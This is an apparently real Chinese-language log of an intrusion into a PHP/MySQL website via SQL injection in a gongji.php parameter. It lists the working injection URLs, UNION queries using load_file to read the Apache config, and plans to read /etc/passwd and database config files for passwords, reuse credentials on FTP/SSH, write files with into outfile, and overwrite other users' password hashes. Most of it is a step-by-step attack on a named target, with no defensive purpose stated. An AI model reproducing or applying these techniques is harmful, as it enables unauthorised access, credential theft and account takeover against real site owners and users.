进入记录

环境: unix+apache+php+mysql
端口: 21=vsftpd; 22=ssh; mysql=3306 不开放远程连接
mysql版本4.0以上支持union查询,当前用户权限足够可以load_file

找到个注射点,以下是记录:

/gongji.php?ag_id=7 and ord(mid(version(),1,1))>51      /*判断mysql version的第一位是不是大于3

/gongji.php?ag_id=7 and (select count(*) from mysql.user)>0  /*判断权限

/gongji.php?ag_id=7 and 1=2 order by 7                              /*快速判断字段

/gongji.php?ag_id=7 and 1=2 union select 1,2,3,4,5,6,7    /*精确确定字段数

—没有报错信息,利用读取apache配置文件来找web路径———————

默认的配置文件路径:/etc/httpd/conf/httpd.conf
转换成hex类型代入union查询语句。在字段4的位置有足够长度显示内容

/gongji.php?ag_id=7 and 1=2 union select 1,2,3,load_file(0x2F6574632F68747470642F636F6E662F68747470642E636F6E66),5,6,7

得到N多站点的路径,其中目标的路径为:/home/k…ow/www/

接下来考虑两个方案:
a. select 。。。 into outfile
条件:1.需要知道一个表名 2.需要网站没有对’做处理 3.目标路径可写
条件1,2都满足,测试导出到/tmp成功,下面需要找一个可写的目录。分析了下apache配置文件,发现网管把images文件夹穿插这放置的。即这个站点images文件夹放到另外一个站路径下。

b.读网站页面源码,找到库口令,用户表,管理表,后台…
实际上口令还可以试试ftp及ssh

读/etc/passwd密码档得到用户表,找到能够远程登录的用户表。
尝试读取vsftpd配置文件:/etc/vsftpd/vsftpd.conf,vsftpd.ftpuser… 失败可能权限不够

读取几个站的数据库连接文件:/home/k…ow/www/config_db.php或/home/k…ow/www/lib/config_db.php

发现口令统一是*****,帐号不一样。网站都采用同一套系统。用户表:dg_member,fs_member,fs_qa_manager
字段:dm_uid,dm_passwd…

c.爆源代码的话还可以顺便找找里面是否有漏洞,比如包含什么的。

d.因为能弄到mysql口令,虽然不能远连,还是可以找找有没有phpMyAdmin这样的东西的。

帐号密码是加密形式的。
Select ENCRYPT(‘mypassword’, ‘ab’),  ENCRYPT加密。这种算法是不可逆的,强度还不错。

新注册用户是要钱的。

先看下memberl.php中对密码加密的脚本:
$am_pwd = crypt ($am_pwd, "Md");
然后用phpshell或者任意unix下的mysql操作环境执行:
select encrypt("123456", "Md")  得到123456的密文
然后可以insert或者update其他用户的pwd密文为123456的密文…